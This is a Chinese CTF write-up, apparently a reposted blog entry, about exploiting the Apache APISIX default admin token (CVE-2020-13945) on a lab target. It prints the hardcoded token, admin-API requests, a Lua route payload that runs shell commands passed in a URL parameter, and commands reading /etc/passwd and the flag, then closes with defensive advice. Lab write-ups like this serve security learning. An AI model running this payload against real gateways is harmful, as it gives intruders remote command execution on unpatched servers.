当前位置: 首页 > news >正文

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag

在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如何从零开始识别并利用这个漏洞最终获取flag。

题目信息

靶标介绍:

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

目标地址
be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

解题过程

第一步:初始探测

访问目标地址,得到如下响应:

{"error_msg":"404 Route Not Found"}

这个响应告诉我们:

  1. 服务正常运行
  2. 没有配置默认路由
  3. 很可能是Apache APISIX网关(根据题目描述确认)

截屏2025-06-13 08.32.46

第二步:识别漏洞

回忆常见的APISIX漏洞,CVE-2020-13945浮现在脑海:

  • Apache APISIX在使用默认配置时,会使用硬编码的管理员Token
  • 默认Token为edd1c9f034335f136f87ad84b625c8f1
  • 通过这个Token可以访问管理API创建恶意路由

第三步:验证漏洞存在

使用Burp Suite构造管理API请求:

  1. 发送一个简单的GET请求到管理接口:
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

如果返回403,说明Token错误;如果返回200或404,说明Token有效。

  1. 尝试创建测试路由:
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json{"uri": "/test","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}

成功创建路由验证了漏洞存在!

第四步:构造攻击载荷

为了获取flag,我需要执行系统命令查看服务器上的文件。构造如下恶意路由:

POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411{"uri": "/attack","script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"httpbin.org:80": 1}}
}

这个载荷创建了一个/attack路由,它会执行通过URL参数cmd传入的系统命令。

截屏2025-06-13 12.11.49

第五步:执行命令寻找flag

  1. 首先检查当前用户权限:
GET /attack?cmd=cat /etc/passwd HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

返回结果如下图:

截屏2025-06-13 12.15.43

  1. 查找flag文件(通常位于/root或/home或者/tmp目录):

截屏2025-06-13 12.16.51

发现flag位于/tmp/flag.txt

  1. 读取flag内容:
GET /attack?cmd=cat /tmp/flag.txt HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83

成功获取flag!

截屏2025-06-13 12.17.33

  1. 提交成功

    截屏2025-06-13 12.19.57

第六步:清理痕迹(可选)

在真实渗透测试中,记得删除创建的路由:

DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

漏洞原理深度分析

这个CTF题目考察的是CVE-2020-13945漏洞,其核心问题在于:

  1. 硬编码凭据:APISIX默认配置中包含固定的管理员Token
  2. 权限设计缺陷:管理API没有默认的访问控制限制
  3. 脚本注入:路由配置允许直接执行LUA代码且无安全过滤

攻击链如下:

默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE

防御建议

针对此类漏洞的防御措施:

  1. 修改默认配置:部署时必须更改所有默认凭据
  2. 网络隔离:管理接口不应暴露在公网
  3. 输入过滤:对LUA脚本进行严格的沙箱限制
  4. 最小权限:服务账户使用最低必要权限

总结

通过这道CTF题目,我们学习了:

  1. 如何识别Apache APISIX的默认配置漏洞
  2. 利用管理API创建恶意路由的技巧
  3. 通过LUA脚本注入实现RCE的方法
  4. 在CTF中寻找flag的系统性思路

这类题目在现实中也很有意义,提醒我们始终要修改默认凭据,加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助!

相关文章:

  • lua读取请求体
  • 保姆级安装OpenResty教程
  • 开发指南121-微服务的弹性伸缩
  • opencv 之 视频类 VideoCapture、VideoWriter详细介绍
  • 【论文阅读33】滑坡易发性 PINN ( EG2025 )
  • 论文笔记 <交通灯><多智能体>CoLight管理交通灯
  • 当机床开始“思考”,传统“制造”到“智造”升级路上的法律暗礁
  • “第三届全国技能大赛”倒计时100天—千眼狼高速摄像机为焊接与增材制造项目提供可视化评判依据
  • Cloud Events:事件驱动架构的未来标准化
  • 腐烂之息-(Breath of Decay VR ) 硬核VR游戏
  • 欧洲宇航局如何为航天员提供虚拟现实训练内容
  • vue3 解析excel字节流文件 以表格形式显示页面上 带公式
  • Java + easyexcel 新旧数据对比,单元格值标红
  • 穿越时空的刀剑之旅:走进VR刀剑博物馆​
  • 720云vr全景怎么制作?720全景制作费用?
  • PHP基础-控制结构
  • 【Zephyr 系列 22】从单机开发到平台化:构建你自己的 Zephyr 物联网开发平台
  • 实战案例-JESD204B 多器件同步
  • 网络原理:网段划分
  • 北斗导航 | 基于MATLAB的卫星导航单点定位算法(卡尔曼滤波增强)
  • 天津百度推广公司/就业seo好还是sem
  • 如何为公司建立网站/武汉seo优化服务
  • 网站素材图/互联网营销课程体系
  • 网站建设的费用怎么做账/seo关键词优化推广外包
  • 陇西学做网站/湖南网站建站系统哪家好
  • 有个印度做网站的天天找我/长沙网站提升排名